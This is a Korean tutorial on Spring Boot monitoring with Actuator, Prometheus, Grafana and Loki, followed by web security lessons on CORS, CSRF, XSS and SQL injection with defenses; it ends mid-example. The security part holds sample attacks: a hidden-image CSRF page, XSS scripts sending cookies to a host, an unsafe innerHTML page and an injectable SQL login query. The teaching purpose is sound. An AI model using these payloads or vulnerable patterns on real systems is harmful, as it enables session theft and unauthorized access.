Updated:

 운영 단계의 애플리케이션은 개발 단계와 다르게, 실제 사용자 요청과 실제 장애 상황을 맞닥뜨리게 된다. 이때 가장 중요한 것은 문제를 빨리 알아차리고, 원인을 빠르게 좁혀 나가는 능력이다. 이를 위해 필요한 것이 모니터링이다.
 모니터링은 단순히 그래프를 예쁘게 보는 기능이 아니다. 핵심 목적은 다음과 같다.

  • 시스템의 상태를 실시간으로 파악
  • 장애를 조기에 감지
  • 성능 병목 지점 식별
  • 로그를 통한 원인 분석
  • 운영 안정성 확보

 또한 웹 애플리케이션 개발은 항상 해커들의 타겟이 되므로, 기능 구현만큼이나 취약점을 이해하고 막는 것이 중요하다.

모니터링 개요

 모니터링이란 시스템의 성능, 안정성, 가용성을 지속적으로 관찰하고 측정하는 과정이다. 여기서 중요한 것은 문제를 감지하고 대응 가능한 상태를 만든다는 점이다.

모니터링의 중요성

 모니터링이 필요한 이유는 명확하다.

  • 문제 예방: 장애가 터진 뒤에 대응하는 것이 아니라, 터지기 전에 이상 징후를 확인할 수 있다.
  • 빠른 대응: CPU 급증, 메모리 부족, 에러율 증가 같은 현상을 빠르게 포착할 수 있다.
  • 성능 최적화: 어떤 API가 느린지, 어떤 자원이 병목인지 수치로 확인할 수 있다.
  • 사용자 경험 향상: 사용자는 “서버가 왜 느린지”보다 “지금 느리다”를 먼저 체감한다. 모니터링은 그 문제를 줄이는 기반이다.
  • 비즈니스 연속성 확보: 서비스 중단 시간을 줄이고 운영 신뢰성을 높인다.

모니터링의 범위

 모니터링은 한 가지 대상만 보는 것이 아니다. 보통 다음 다섯 영역을 함께 본다.

  • 서버 모니터링: CPU, 메모리, 디스크, 네트워크
  • 애플리케이션 모니터링: 요청 수, 응답 시간, 에러율, 스레드 상태, 로그
  • 네트워크 모니터링: 트래픽, 대역폭, 지연 시간
  • 데이터베이스 모니터링: 연결 수, 느린 쿼리, 자원 사용량
  • 보안 모니터링: 비정상 접근, 공격 시도, 취약점 징후

Spring Boot Actuator

 Spring Boot Actuator는 스프링 애플리케이션 내부 상태를 확인할 수 있게 해주는 도구이다. 애플리케이션의 헬스 상태, 메트릭, 환경 정보, 로깅 정보 등 쉽게 확인할 수 있다. Actuator는 다음과 같은 의존성을 추가야 사용할 수 있다.

implementation 'org.springframework.boot:spring-boot-starter-actuator'
implementation 'org.springframework.boot:spring-boot-starter-web'

 Actuator는 기본적으로 여러 엔드포인트를 제공한다. 이러한 엔드포인트는 /actuator 경로 하위에 위치하며, 각각의 엔드포인트는 다양한 정보를 제공한다.

  • /actuator/health: 애플리케이션의 상태 확인
  • /actuator/metrics: 메트릭 정보 제공
  • /actuator/loggers: 로거 레벨 조회 및 변경
  • /actuator/env: 환경 변수와 설정 확인
  • /actuator/beans: 스프링 빈 목록 확인
  • /actuator/threaddump: 스레드 덤프 확인
  • /actuator/httptrace: 최근 HTTP 요청 및 응답 추적

 기본적으로 모든 엔드포인트가 활성화되어 있지 않을 수 있으므로, application.properties 파일을 사용하여 필요한 엔드포인트를 활성화하거나 비활성화해야 한다. 설정 옵션은 다음과 같다.

  • never: 헬스 체크 상세 정보를 절대 표시하지 않음
  • always: 모든 사용자에게 헬스 체크 상세 정보를 항상 표시
  • when_authorized: 인증된 사용자에게만 헬스 체크 상세 정보를 표시
spring.application.name=sample

server.port=8080

#모든 엔드포인트 노출 설정
management.endpoints.web.exposure.include=* 

#헬스 체크 엔드포인트 상세 정보 표시 설정
management.endpoint.health.show-details=always
# 이 설정은 /actuator/health 엔드포인트에서 헬스 체크 정보를 항상 상세히 보여주도록 설정
# 기본적으로, 헬스 체크 엔드포인트는 요약된 상태 정보만 제공하며, 상세 정보는 노출되지 않음

주의사항 및 권장사항

 모든 엔드포인트를 노출하는 설정은 개발 및 테스트 환경에서는 유용할 수 있지만, 운영 환경에서는 보안 위험을 증가시킬 수 있다. 그래서 필요한 엔드포인트만 노출하는 것을 권장한다. 또한 헬스 체크 엔드포인트에서 상세 정보를 항상 노출하는 설정 역시 운영 환경에서는 민감한 정보를 포함할 수 있으므로, show-details설정을 when_authorized 옵션을 사용하는 것이 좋다.
 Actuator 접근 포트만 다른 포트로 설정하여 보호할 수 있다.

# 애플리케이션의 기본 포트를 8080으로 설정
server.port=8080

# Actuator 엔드포인트를 19090 포트에서 서비스하도록 설정
management.server.port=19090

 Spring Security를 사용하여 민감한 엔드포인트에 접근 제어를 설정하는 것이 좋다. 예를 들어, /actuator 경로에 대한 보안 설정을 추가할 수 있다.

import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;

@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http.authorizeRequests()
            .antMatchers("/actuator/**").authenticated()
            .and()
            .httpBasic();
    }
}

 Spring 프로젝트를 만든 후 dependency와 application.properties 파일을 위와 같이 해주면 다음과 같이 볼 수 있다.

Prometheus

Prometheus는 메트릭 수집과 저장을 담당하는 오픈소스 모니터링 도구이다. 핵심은 시계열 데이터를 다룬다는 점이다. 즉, “지금 CPU 사용량이 얼마인가?”보다 “시간에 따라 CPU 사용량이 어떻게 변했는가?”를 보는 데 강하다.
 Prometheus의 주요 구성 요소는 다음과 같다.

  1. Prometheus 서버
    • 메트릭을 주기적으로 scrape하여 시계열 데이터베이스에 저장하는 핵심 컴포넌트이다.
    • 시계열 데이터베이스(Time Series Database, TSDB)는 시간에 따라 변화하는 데이터를 효율적으로 저장하고 조회할 수 있도록 최적화된 데이터베이스이다.
  2. Exporter
    • Prometheus가 이해할 수 있는 형식으로 메트릭을 노출해 주는 도구이다.
    • 예를 들어, Node Exporter (서버의 시스템 메트릭 수집), PostgreSQL Exporter (PostgreSQL 메트릭 수집), Spring boot의 micrometer-registry-prometheus 디펜던시가 있다.
  3. Pushgateway
    • 배치 작업처럼 짧게 실행되고 끝나는 작업의 메트릭을 푸시 방식으로 전달할 때 사용한다.
    • 일반적으로 지속적으로 실행되지 않는 작업에서 사용된다.
  4. Alertmanager
    • 조건에 맞는 경고(alert)를 처리하고 Slack, 이메일 등으로 알림을 보낸다.
  5. Grafana
    • Prometheus 데이터를 시각화하는 대표 도구이다.

실습

 먼저 기존 프로젝트에 Prometheus Dependency를 추가한 뒤, application.properties에도 prometheus 설정을 추가한다.

runtimeOnly 'io.micrometer:micrometer-registry-prometheus'
management.endpoint.prometheus.enabled=true

http://localhost:8080/actuator/prometheus에 접속하면 프로메테우스 매트릭스를 확인할 수 있다.

 이후, 프로젝트 폴더가 있는 위치에 prometheus 폴더를 새로 만든 후, prometheus.yml을 생성한다.

global:
  scrape_interval: 15s

scrape_configs:
  - job_name: 'spring-boot'
    metrics_path: '/actuator/prometheus'
    static_configs:
      - targets: ['host.docker.internal:8080']

host.docker.internal은 Docker에서 제공하는 특수한 DNS 이름으로, Docker 컨테이너가 호스트 머신(즉, Docker를 실행하는 컴퓨터)의 네트워크 서비스에 접근할 수 있도록 한다. 이를 통해 컨테이너 내부에서 호스트 머신의 네트워크 주소를 참조할 수 있다.
 이제 Docker를 이용해서 실행해본다.

docker run -d --name=prometheus -p 9090:9090 -v C:\Users\dbsau\monitor\prometheus\prometheus.yml:/etc/prometheus/prometheus.yml prom/prometheus

localhost:9090에 접속하면 Prometheus가 실행되는 것을 확인할 수 있다.

 이후 Spring 프로젝트를 실행하고 Targets로 들어가면 다음과 같이 확인할 수 있다.

Grafana

 Grafana는 여러 데이터 소스를 연결해서 시각화 대시보드를 만드는 도구이다. 다양한 데이터 소스를 지원하여 데이터를 시각화하고 분석할 수 있도록 돕는다. Grafana는 대시보드를 생성하고, 데이터를 그래프나 차트 형태로 표현하며, 알림 기능을 제공하여 모니터링을 강화할 수 있습니다.

 그라파나의 주요 기능은 다음과 같다.

  • 대시보드 생성: 여러 가지 그래프, 차트, 게이지 등을 사용하여 데이터를 시각적으로 표현
  • 다양한 데이터 소스 지원: Prometheus, InfluxDB, Graphite, Elasticsearch, MySQL, PostgreSQL 등 다양한 데이터 소스를 지원하고, 이를 통해 여러 시스템과 애플리케이션의 데이터를 통합하여 시각화할 수 있음
  • 알림 기능: 다양한 채널을 통해 알림을 보낼 수 있고, 이를 통해 시스템 상태를 실시간으로 모니터링하고 문제가 발생했을 때 즉시 대응할 수 있음
  • 플러그인 지원: 다양한 플러그인을 통해 기능을 확장
  • 사용자 관리: 사용자를 관리하고, 대시보드와 데이터 소스에 대한 접근 권한을 설정

Grafana 설치

 Docker를 사용하여 그라파나 컨테이너를 실행한다.

docker run -d --name=grafana -p 3000:3000 grafana/grafana

localhost:3000에 접속하여 로그인을 진행한다. 기본계정의 아이디와 비밀번호는 admin / admin 이다.

 Prometheus와 Spring 프로젝트도 실행을 한뒤 시각화하는 것을 해본다. 대시보드에서 DATA SOURCE를 클릭한 후, Prometheus를 선택한다. Connection URL에는 http://host.docker.internal:9090를 입력해준다.

 이제 Dashboard를 생성해본다. Import dashboard를 선택해준 뒤, grafana.com/dashboards에서 다음 대시보드를 copy해온다.

 다음과 같이 설정하면 실행한 Spring 프로젝트와 관련된 정보들을 확인할 수 있다.

그라파나에서 Slack으로 Alert 보내기

 먼저 슬랙에서 워크스페이스를 생성한다. https://api.slack.com/apps에 접속하여 Create an App을 클릭한다.

 팝업이 뜨면 From scratch를 클락하고 다음과 같이 생성한 워크스페이스를 선택한다.

 OAuth & Permissions 메뉴에 접속한뒤, Scopes 항목에서 Bot Token Scopes에 “chat:write”를 추가한다.

 그후 Install to Workspace(이번 프로젝트에서는 Grafana-test)를 클릭하고 허용을 클릭한다.

 Incoming Webhooks 메뉴에 접속한 뒤, Activate Incoming Webhooks를 활성화 한 후, 하단에 Add New Webhook to Workspace를 클릭한다. 다음 화면에서 전달 받고 싶은 슬랙 채널을 선택하고 생성된 Webhook URL을 복사해둔다.

 Slack 앱에서 해당 채널에 가서 생성한 App을 “@”를 사용하여 추가해준다.

그라파나 Alert 설정

 그라파나에서 사이드메뉴에 Alerting > Contact points에 접속하여 Add contact point 버튼을 클릭한다. Name을 입력한 후, Integration을 Slack을 선택한다. 그후 Webhook URL에 아까 복사한 URL을 입력한다. 그리고 테스트 버튼을 클릭하면 테스트 메시지가 슬랙 채널로 오늘 것을 확인할 수 있다.

 그라파나 사이드 메뉴에서 Alerting > Notification policies로 들어간다. 그 후 Default policy의 edit 버튼을 클릭하고 Default contact point를 이전에 생성한 contact point로 선택한다.

 이번엔 Spring 프로젝트가 정지되면 알림이 오는 알람을 만들어본다.Alerting > Alert rules를 클릭하여 “New alert rule”를 클릭한 후 알림 이름을 입력한다. Define query and alert condition에서 matric을 up을 선택하고 Label filter에서 Job, Spring-boot를 선택한다. Expression의 Threshold에서 IS BELOW를 선택하고 수자는 1을 입력한다. 이를 통해 만약 애플리케이션이 정지되면 알람이 발송되게 된다.

 다음과 같이 folder와 evaluation group을 생성해준다. 이때 pending period, Evaluation internal은 빠른 확인을 위해 1m으로 설정한다.

 Configure labels and notifications 메뉴에서 contact point를 이전에 설정한 slack으로 설정한다.

 Alert rules에 생성한 Alert이 노출된다. 상태는 Normal인 것을 확인할 수 있다.

 Spring 애플리케이션을 정지시키면 Normal이었던 상태가 Pending과 Firing으로 변경된다. 그후 잠시 기다리면 Slack 채널로 Firing 알람이 오는것을 확인할 수 있다.

애플리케이션 로그 모니터링

Loki

 Loki는 Grafana Labs에서 개발한 로그 집계 시스템으로, Prometheus의 메트릭 수집 방식과 유사하게 로그 데이터를 수집하고 쿼리할 수 있도록 설계되었다. Loki는 주로 로그 데이터를 저장하고, 이를 Grafana를 통해 시각화하는 데 사용된다. Loki의 주요 특징 중 하나는 라벨 기반의 메타데이터를 사용하여 로그를 효율적으로 검색할 수 있다는 점이다.
 loki-logback-appender는 Logback을 사용하는 Java 애플리케이션에서 로그를 Loki로 직접 전송하기 위한 라이브러리로, 별도의 Promtail 설정 없이도 로그를 Loki로 전송할 수 있다.

실습

 Build.gradle에 의존성을 추가한다.

dependencies {
	implementation 'com.github.loki4j:loki-logback-appender:1.5.1' //추가

	implementation 'org.springframework.boot:spring-boot-starter-actuator'
	implementation 'org.springframework.boot:spring-boot-starter-web'
	runtimeOnly 'io.micrometer:micrometer-registry-prometheus'
	testImplementation 'org.springframework.boot:spring-boot-starter-test'
	testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
}

 루프 페이지에 접속하면 403에러를 발생하며 로그를 발생시키게 코드를 작성하고, resources/logback.xml 파일도 생성한다.(https://grafana.com/docs/loki/latest/setup/install/docker/ )

@RestController
public class SampleController {

    private static final Logger logger = LoggerFactory.getLogger(SampleController.class);

    @GetMapping("/")
    public String hello(HttpServletResponse response) throws IOException {
        logger.info("Attempted access to / endpoint resulted in 403 Forbidden");
        response.sendError(HttpServletResponse.SC_FORBIDDEN, "Access Denied");
        return null;
    }
}
<configuration>
    <appender name="LOKI" class="com.github.loki4j.logback.Loki4jAppender">
        <http>
            <url>http://localhost:3100/loki/api/v1/push</url>
        </http>
        <format>
            <label>
                <pattern>app=my-app,host=${HOSTNAME}</pattern>
            </label>
            <message class="com.github.loki4j.logback.JsonLayout" />
        </format>
    </appender>

    <root level="DEBUG">
    <appender-ref ref="LOKI" />
    </root>
</configuration>

 폴더를 만들고 loki-config.yml 파일을 만든다.

auth_enabled: false

server:
  http_listen_port: 3100
  grpc_listen_port: 9096

common:
  instance_addr: 127.0.0.1
  path_prefix: /tmp/loki
  storage:
    filesystem:
      chunks_directory: /tmp/loki/chunks
      rules_directory: /tmp/loki/rules
  replication_factor: 1
  ring:
    kvstore:
      store: inmemory

query_range:
  results_cache:
    cache:
      embedded_cache:
        enabled: true
        max_size_mb: 100

schema_config:
  configs:
    - from: 2020-10-24
      store: tsdb
      object_store: filesystem
      schema: v13
      index:
        prefix: index_
        period: 24h

ruler:
  alertmanager_url: http://localhost:9093

# By default, Loki will send anonymous, but uniquely-identifiable usage and configuration
# analytics to Grafana Labs. These statistics are sent to https://stats.grafana.org/
#
# Statistics help us better understand how Loki is used, and they show us performance
# levels for most users. This helps us prioritize features and documentation.
# For more information on what's sent, look at
# https://github.com/grafana/loki/blob/main/pkg/analytics/stats.go
# Refer to the buildReport method to see what goes into a report.
#
# If you would like to disable reporting, uncomment the following lines:
#analytics:
#  reporting_enabled: false

 loki를 docker를 통해 설치하기 위해 다음 명령어를 입력한다.

docker run --name loki -d -v C:\Users\dbsau\monitor\loki:/mnt/config -p 3100:3100 grafana/loki:3.7.0 --config.file=/mnt/config/loki-config.yml

localhost:3100/ready에 접속하면 상태를 확인할 수 있다.

 Spring 프로젝트를 실행하고 로그를 확인해본다. 그라파나 사이드 메뉴의 Data sources 페이지에 접속하여 Add new data source를 클릭하고 Loki를 선택한다. 이름을 입력하고 connect에 Loki 주소를 입력한다. Docker를 사용했기 때문에 host.docker.internal을 사용한다. Save & test를 클릭하여 상태를 확인하고 저장한다.

 Spring 프로젝트의 localhost:8080에 접속하면 403 에러페이지가 발생하는 것을 확인할 수 있고, 그라파나의 사이드 메뉴에서 Explore 페이지에 접근하여 Loki를 선택한다. 다음과 같이 설정하면 로그가 출력되는 것을 확인할 수 있다.

CORS

CORS는 한 출처(도메인, 프로토콜, 포트)에서 실행 중인 웹 애플리케이션이 다른 출처의 리소스에 접근할 수 있도록 브라우저에서 제공하는 보안 기능이다. 웹 애플리케이션은 기본적으로 동일 출처 정책(Same-Origin Policy)에 따라 동작하며, 이는 보안상의 이유로 다른 출처의 리소스 접근을 제한한다. CORS는 이러한 제한을 완화하여 특정 조건 하에 다른 출처의 리소스 접근을 허용한다.
동일 출처 청책(Same-Origin Policy)는 보안 메커니즘으로, 웹 브라우저가 스크립트가 로드된 출처(origin)와 동일한 출처의 리소스만 접근할 수 있도록 제한한다. 출처는 스키마(프로토콜), 호스트(도메인), 포트의 조합으로 정의된다.

  • http://example.com:80와 http://example.com:8080은 포트가 다르므로 동일 출처가 아님

 CORS의 필요성은 다음과 같다.

  • API 호출: SPA(Single Page Application)와 같이 클라이언트 중심의 웹 애플리케이션은 종종 다른 도메인에서 호스팅되는 API를 호출해야 함
  • 리소스 공유: 여러 도메인 간의 이미지, 스타일시트, 스크립트, 폰트 등의 리소스를 공유할 필요가 있음

 CORS의 동작원리는 다음과 같다.

  • Preflight
    • CORS (Cross-Origin Resource Sharing) 요청의 일종으로, 브라우저가 실제 요청을 보내기 전에 서버에 요청할 권한이 있는지 확인하는 과정
    • 보안상의 이유로, 특정 조건을 만족하는 HTTP 요청이 서버에 전송되기 전에 실행됨
      • HTTP 메서드가 단순 요청이 아닐 때 (GET, HEAD, POST 외의 메서드, 예: PUT, DELETE)
      • 특정 헤더를 사용할 때: 커스텀 헤더 또는 특정 표준 헤더를 사용할 때
      • 특정 Content-Type을 사용할 때: application/x-www-form-urlencoded, multipart/form-data, text/plain이 아닌 Content-Type을 사용할 때
    • 동작 방식
      1. 브라우저가 Preflight 요청을 보냄: OPTIONS 메서드를 사용하여 서버에 사전 요청을 보낸다. 이 요청에는 실제 요청의 메서드와 헤더 정보가 포함됨
      2. 서버가 Preflight 요청에 응답: 서버는 요청된 메서드와 헤더를 허용할지 여부를 결정하여 응답한다. 응답 헤더에는 Access-Control-Allow-Origin, Access-Control-Allow-Methods, Access-Control-Allow-Headers 등이 포함된다.
      3. 브라우저가 응답을 확인: 브라우저는 서버의 응답을 확인하고, 요청이 허용되면 실제 요청을 보낸다. 요청이 허용되지 않으면, 브라우저는 실제 요청을 차단한다.
  • Simple Request(단순 요청)
    • 간단한 HTTP 요청으로, Preflight 요청 없이 바로 서버에 전달된다.
    • HTTP 메서드가 GET, POST, HEAD 중 하나
    • 커스텀 헤더가 없고, Content-Type이 application/x-www-form-urlencoded, multipart/form-data, text/plain 중 하나
  • Preflight Request(사전 요청)
    • 단순 요청 조건을 충족하지 않는 요청은 서버의 CORS 정책을 확인하기 위해 브라우저가 먼저 OPTIONS 메서드를 사용하여 Preflight 요청을 보낸다.
    • 서버가 Preflight 요청에 적절히 응답하면 실제 요청이 진행됨

 CORS 설정 시 주의사항은 다음과 같다.

  • 보안 고려사항
    • 신뢰할 수 없는 출처를 허용하지 않도록 주의
    • allowedOrigins에 와일드카드(*)를 사용하면 모든 출처에서의 요청을 허용하므로 주의가 필요
    • 민감한 정보를 보호하기 위해 Access-Control-Allow-Credentials를 신중하게 설정
  • 성능 고려사항
    • Preflight 요청이 빈번하면 성능 저하가 발생할 수 있으므로, Access-Control-Max-Age를 설정하여 Preflight 요청을 캐싱
    • 불필요한 Preflight 요청을 최소화하기 위해 단순 요청 조건을 충족하도록 API 설계를 검토

CORS 해결하기

 백엔드 애플리케이션에서 CORS 설정을 해준다.

  • 전역 설정
    @Configuration
    public class WebConfig {
    
        @Bean
        public WebMvcConfigurer corsConfigurer() {
            return new WebMvcConfigurer() {
                @Override
                public void addCorsMappings(CorsRegistry registry) {
                    registry.addMapping("/**")
                            .allowedOrigins("http://localhost:3000")  // 허용할 출처
                            .allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS")
                            .allowedHeaders("*")
                            .allowCredentials(true)
                            .maxAge(3600);  // Preflight 요청 캐시 시간
                }
            };
        }
    }
    
  • 컨트롤러 레벨 설정
    @RestController
    public class MyController {
    
        @CrossOrigin(origins = "http://localhost:3000")
        @GetMapping("/api/data")
        public String getData() {
            return "Data from server";
        }
    }
    

CSRF

CSRF는 웹 애플리케이션의 취약점을 이용해 사용자가 의도하지 않은 요청을 보내도록 하는 공격 기법이다. 공격자는 사용자가 인증된 상태를 악용하여 사용자가 원하지 않는 행동을 수행하게 만든다. 예를 들어, 사용자가 로그인된 상태에서 악의적인 웹사이트를 방문하면, 그 웹사이트가 사용자의 권한을 이용해 은행 계좌에서 돈을 송금하도록 할 수 있다.

공격 예시

 다음은 공격자 웹페이지 코드이다.

<!DOCTYPE html>
<html>
<body>
  <h1>Free Gift</h1>
  <img src="http://bank.com/transfer?amount=1000&to=attacker" style="display:none;" />
</body>
</html>

 이 예시에서 사용자가 이 페이지를 방문하면, 이미지 태그를 통해 http://bank.com/transfer?amount=1000&to=attacker 요청이 자동으로 실행된다. 사용자가 이미 bank.com에 로그인되어 있다면, 이 요청은 인증된 상태로 처리된다.

방지 방법

  1. Referer 헤더 검증
    • 서버는 요청의 Referer 헤더를 확인하여 요청이 신뢰할 수 있는 출처에서 온 것인지 확인할 수 있다.
    • Referer 헤더는 사용자가 조작할 수 있고, 일부 브라우저에서는 이 헤더를 포함하지 않을 수 있다.
  2. CSRF 토큰 사용
    • 가장 대표적인 방법이다.
    • 서버가 폼마다 고유 토큰을 발급하고, 제출 시 해당 토큰이 맞는지 검증한다.
  3. form 대신 API 사용
    • API를 통해 JSON데이터로 통신한다면 해당 이슈를 피할 수 있다.

CSRF 토큰 실습

 Spring 프로젝트를 생성한다.

dependencies {
	implementation 'org.springframework.boot:spring-boot-starter-security'
	implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
	implementation 'org.springframework.boot:spring-boot-starter-web'
	implementation 'org.thymeleaf.extras:thymeleaf-extras-springsecurity6'
	testImplementation 'org.springframework.boot:spring-boot-starter-test'
	testImplementation 'org.springframework.security:spring-security-test'
	testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
}

 다음 코드들을 작성한다.

@Controller
public class SampleContorller {

    @GetMapping("/")
    public String showForm() {
        return "form";
    }

    @PostMapping("/submit")
    public String  handleFormSubmit(@RequestParam("name") String name, @RequestParam("_csrf") String csrfToken) {
        // CSRF 토큰 로그 출력
        System.out.println("Received CSRF token: " + csrfToken);
        System.out.println("Received name: " + name);
        return "result";
    }
}
@Configuration
public class SampleSecurityConfig {

    @Bean
    public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
        http
                .authorizeHttpRequests(authorize -> authorize
                        .anyRequest().permitAll()
                )
                .csrf(csrf -> csrf
                        .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
                );

        return http.build();
    }
}

 resources/templates 에 다음 html 파일들도 작성한다.

<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
    <title>CSRF Example</title>
</head>
<body>
<form th:action="@{/submit}" method="post">
    <label for="name">Name:</label>
    <input type="text" id="name" name="name"/>
    <button type="submit">Submit</button>
</form>
</body>
</html>
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
    <title>Result</title>
</head>
<body>
<h1>Form submitted successfully!</h1>
<a th:href="@{/}">Go back to form</a>
</body>
</html>

 애플리케이션을 실행하고 localhost:8080에 접속하면 크롬 검사 탬의 Elements에 _csrf가 있는것을 확인할 수 있다.

 폼의 값을 입력하고 제출하면 애플리케이션 로그에 CSRF 값이 노출 되는것을 볼 수 있다.

 만약 폼dml _csrf 값을 임의로 수정 한 후 제출하면, 403 페이지로 이동하는 것을 볼 수 있다.

XSS

XSS 웹 애플리케이션의 취약점을 이용해 악성 스크립트를 다른 사용자의 브라우저에서 실행시키는 공격으로, 공격자는 사용자의 세션을 가로채거나 악성 코드 실행, 웹사이트 변조 등의 공격을 수행할 수 있다. XSS 공격의 위험성은 다음과 같다.

  • 세션 하이재킹: 사용자의 세션 쿠키를 탈취하여 공격자가 사용자의 계정으로 로그인할 수 있다.
  • 악성 코드 실행: 악성 스크립트를 실행하여 사용자의 시스템에 피해를 줄 수 있다.
  • 피싱 공격: 사용자를 속여 민감한 정보를 입력하도록 유도할 수 있다.
  • 웹사이트 변조: 웹페이지의 내용을 변경하여 사용자에게 잘못된 정보를 제공할 수 있다.

공격유형

  1. 반사형 XSS (Reflected XSS)
    • 사용자 입력이 즉시 응답 페이지에 반영될 때 발생한다. 주로 URL 파라미터를 그대로 출력하는 검색 페이지에서 자주 나온다.
    • 예시
    • 사용자가 http://example.com/search?q=<script>alert(document.cookie)</script>와 같은 URL을 입력
    • 웹 애플리케이션이 검색어를 그대로 페이지에 출력하면, 스크립트가 실행되어 경고 창이 나타남
    • 문제는 경고 창에 사용자의 쿠키가 노출되는 것
    • 해당 쿠키를 리다이렉트를 통해 공격자의 사이트로 전달되게 하여 탈취가 가능하게 됨
      <script>document.location='http://127.0.0.1/cookie?'+document.cookie</script>
      
    • 경고 창 : alert(document.cookie)는 사용자의 쿠키를 경고 창에 표시
    • 쿠키 탈취 : document.location=’http://127.0.0.1/cookie?’ + document.cookie는 사용자의 쿠키를 공격자의 서버로 전송하여 탈취할 수 있음
  2. 저장형 XSS (Stored XSS)
    • 악성 스크립트가 서버에 저장되어 여러 사용자가 해당 스크립트를 실행하게 되는 경우
    • 예시
    • 사용자가 게시판에 다음과 같은 악성 스크립트를 포함한 글을 작성
      <script>document.location='http://127.0.0.1/cookie?'+document.cookie</script>
      
    • 해당 게시글을 보는 모든 사용자의 브라우저에서 스크립트가 실행되어, 사용자의 쿠키가 공격자의 서버로 전송되어 탈취가 발생
  3. DOM 기반 XSS(DOM-based XSS)
    • 클라이언트 측에서 JavaScript를 통해 DOM을 동적으로 조작할 때 발생
    • 서버에 요청을 보내지 않고, 클라이언트 측에서 스크립트가 실행
    • 예시
    • 클라이언트 측 스크립트가 URL 파라미터를 읽어와 DOM에 삽입할 때, 악성 스크립트가 포함될 수 있음
      <!DOCTYPE html>
      <html>
      <head>
          <title>DOM-based XSS Example</title>
      </head>
      <body>
          <h1>Welcome to My Page</h1>
          <div id="output"></div>
          <script>
              // URL의 해시 부분을 읽어와서 출력
              var hash = window.location.hash.substring(1);
              document.getElementById('output').innerHTML = hash;
          </script>
      </body>
      </html>
      
    • 사용자가 http://example.com/#<script>alert(‘XSS’);</script>라는 URL에 접근하면, 페이지는 해시 부분에 포함된 스크립트를 실행하여 경고 창이 나타남
    • 공격자는 이 취약점을 악용하여 악성 스크립트를 실행할 수 있음

 반사형 XSS와 DOM 기반 XSS는 모두 XSS 공격의 일종이지만, 발생 위치와 동작 방식에서 차이가 있다. 반사형 XSS는 서버 측에서 발생하며, 입력된 데이터가 서버를 통해 반사되어 클라이언트로 돌아오는 반면, DOM 기반 XSS는 클라이언트 측에서 발생하며, 클라이언트 측 JavaScript가 직접 데이터를 처리하고 DOM을 조작한다.

방어 방법

  • 입력 검증 및 인코딩
    • 사용자 입력을 철저히 검증하고, 출력할 때 적절히 인코딩하여 스크립트가 실행되지 않도록 한다.
    • 예시: HTML 인코딩, JavaScript 인코딩, URL 인코딩 등을 사용하여 사용자 입력을 안전하게 처리한다.
  • Content Security Policy (CSP)
    • Content Security Policy (CSP)는 웹 애플리케이션이 허용된 콘텐츠 소스를 명시하여 XSS(크로스 사이트 스크립팅) 및 데이터 삽입 공격을 방지하는 보안 기능
    • CSP는 웹 애플리케이션이 로드할 수 있는 리소스의 출처를 정의하는 HTTP 응답 헤더입니다. 이를 통해 개발자는 특정 스크립트, 스타일시트, 이미지 등을 로드할 수 있는 출처를 제한할 수 있다.
    • 예시: Content-Security-Policy: default-src ‘self’ https://trusted.cdn.com;
  • HTTPOnly 쿠키 사용
    • 세션 쿠키에 HttpOnly 속성을 설정하여 JavaScript에서 접근하지 못하도록 합니다. 이를 통해 세션 하이재킹을 방지할 수 있다.
    • HTTPOnly 쿠키는 서버 측에서 설정
    • 예시: Set-Cookie: sessionId=abc123; HttpOnly; Secure
  • JavaScript 안전하게 사용하기
    • 클라이언트 측에서 사용자 입력을 직접적으로 처리하지 않도록 한다.
    • JavaScript를 사용할 때, DOM 조작 시 사용자 입력을 안전하게 처리
    • 예를들어 인코딩 처리나 안전한 메스드를 사용하여 조작

SQL Injection

 SQL Injection은 공격자가 웹 애플리케이션의 데이터베이스 쿼리에 악의적인 SQL 코드를 삽입하여 데이터베이스를 조작하거나 민감한 정보를 탈취하는 공격이다. 이 취약점은 애플리케이션이 사용자 입력을 제대로 검증하지 않을 때 발생한다. SQL Injection의 위험성은 다음과 같다.

  • 데이터 탈취: 공격자가 데이터베이스에서 민감한 정보를 탈취
  • 데이터 변조: 데이터베이스의 데이터를 변경하거나 삭제
  • 권한 상승: 공격자가 데이터베이스 관리자 권한을 얻을 수 있음
  • 전체 시스템 장악: 심각한 경우 서버 전체를 장악할 수 있음

SQL injection 공격 예시

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;

public class SqlInjectionExample {
    public static void main(String[] args) {
        String username = "admin'; --";
        String password = "password";
        String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";

        try (Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/testdb", "root", "password");
             Statement stmt = conn.createStatement();
             ResultSet rs = stmt.executeQuery(query)) {

            if (rs.next()) {
                System.out.println("User authenticated");
            } else {
                System.out.println("Authentication failed");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
  1. 공격자는 username 필드에 admin’; –를 입력
  2. SQL 쿼리는 SELECT * FROM users WHERE username = ‘admin’; –’ AND password = ‘password’로 변경됨
  3. –는 SQL 주석 처리 기호로, 이후의 코드는 무시
  4. 결과적으로 쿼리는 SELECT * FROM users WHERE username = ‘admin’;가 되어, 공격자가 비밀번호를 입력하지 않아도 인증됨

SQL injection 방어 방법

  • Prepared Statements (준비된 문): SQL 쿼리를 미리 컴파일하여 파라미터화된 쿼리를 사용
  • Stored Procedures (저장 프로시저): 데이터베이스에서 미리 정의된 저장 프로시저를 호출하여 실행
  • ORM (객체 관계 매핑): Hibernate 같은 ORM 프레임워크를 사용하여 데이터베이스 접근을 추상화
    • 예시
      • Hibernate와 같은 ORM 프레임워크를 사용할 경우, 내부적으로 Prepared Statement를 사용하여 SQL Injection 공격을 방지
        import org.hibernate.Session;
        import org.hibernate.SessionFactory;
